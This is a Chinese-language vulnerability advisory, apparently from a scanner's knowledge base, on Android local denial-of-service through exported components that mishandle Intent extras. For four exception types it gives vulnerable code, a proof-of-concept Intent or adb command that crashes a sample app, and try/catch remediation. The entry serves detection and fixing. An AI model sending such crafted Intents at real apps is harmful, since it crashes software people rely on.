Android系统提供了Activity、Service和Broadcast Receiver等组件,并提供了Intent机制来协助应用间的交互与通讯,Intent负责对应用中一次操作的动作、动作涉及数据、附加数据进行描述,Android系统则根据此Intent的描述,负责找到对应的组件,将Intent传递给调用的组件,并完成组件的调用。Android应用本地拒绝服务漏洞源于程序没有对Intent.GetXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者可通过向受害者应用发送此类空数据、异常或者畸形数据来达到使该应用Crash的目的,简单的说就是攻击者通过Intent发送空数据、异常或畸形数据给受害者应用,导致其崩溃。
低危
所有
检测类型:动态分析
0x01 通用检测方法:对导出的组件传递一个不存在的序列化对象,若没有try...catch捕获异常就会崩溃
ComponentName cn = new ComponentName("com.test", "com.test.TargetActivity") Intent i = new Intent() i.setComponentName(cn) i.putExtra("key", new CustomSeriable()) startActivity(i) public class DataSchema implements Serializable { public DataSchema() { super(); } } |
日志就会报类似下面的异常:
构造空数据、异常或者畸形数据来达到使应用crash。
A.NullPointerException异常导致的拒绝服务
源于程序没有对getAction()等获取到的数据进行空指针判断,从而导致了空指针异常导致应用崩溃
漏洞代码片段:
Intent i = new Intent(); if (i.getAction().equals("TestForNullPointerException")) { Log.d("TAG", "Test for Android Refuse Service Bug"); } |
攻击代码:
adb shell am start -n com.bug.ddos/.Main2Activity |
B.ClassCastException异常导致的拒绝服务
源于程序没有对getSerializableExtra()等获取到的数据进行类型判断而进行强制类型转换,从而导致类型转换异常导致拒绝服务漏洞
漏洞代码片段:
Intent i = getIntent(); String test = (String) i.getSerializableExtra("serializable_key"); |
攻击代码:
Intent i = new Intent(); i.setClassName("com.bug.ddos", "com.bug.ddos.SecondActivity"); i.putExtra("serializable_key", BigInteger.valueOf(1)); startActivity(i); |
C.IndexOutOfBoundsException异常导致拒绝服务漏洞
源于程序没有对getIntegerArrayListExtra()等获取到的数据数组元素大小判断,导致数组访问越界而造成拒绝服务漏洞
漏洞代码片段:
Intent intent = getIntent(); ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id"); if (intArray != null) { for (int i = 0; i < 10; i++) { intArray.get(i); } } |
攻击代码:
Intent intent = new Intent(); intent.setClassName("com.bug.ddos", "com.bug.ddos.SecondActivity"); ArrayList<Integer> user_id = new ArrayList<Integer>(); intent.putExtra("user_id", user_id); startActivity(intent); |
D.ClassNotFoundException异常导致的拒绝服务漏洞
源于程序没有找到从getSerializableExtra()获取到的序列化对象的类定义,因此导致发生类未定义的异常导致拒绝服务漏洞
漏洞代码片段
Intent i = getIntent(); i.getSerializableExtra("key"); |
攻击代码:
static class SelfSerializableData implements Serializable { private static final long serialVersionUID = 42L; public SelfSerializableData() { super(); } } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent i = new Intent(); i.setClassName("com.bug.ddos", "com.bug.ddos.SecondActivity"); i.putExtra("key", new SelfSerializableData()); startActivity(i); } |
ü 将比不要导出的组建设置为不导出
ü 在处理Intent数据时,进行捕获异常,通过Intent.getXXXExtra()获取的数据时进行以下判断,以及用try catch方式捕获所有异常,防止出现拒绝服务漏洞,包括:空指针异常、类型转换异常、数组越界访问异常、类未定义异常、其他异常
Try{ .... xxx.getXXXExtra() .... }Catch Exception{ //为空即可 } |
http://www.wooyun.org/bugs/wooyun-2016-0172004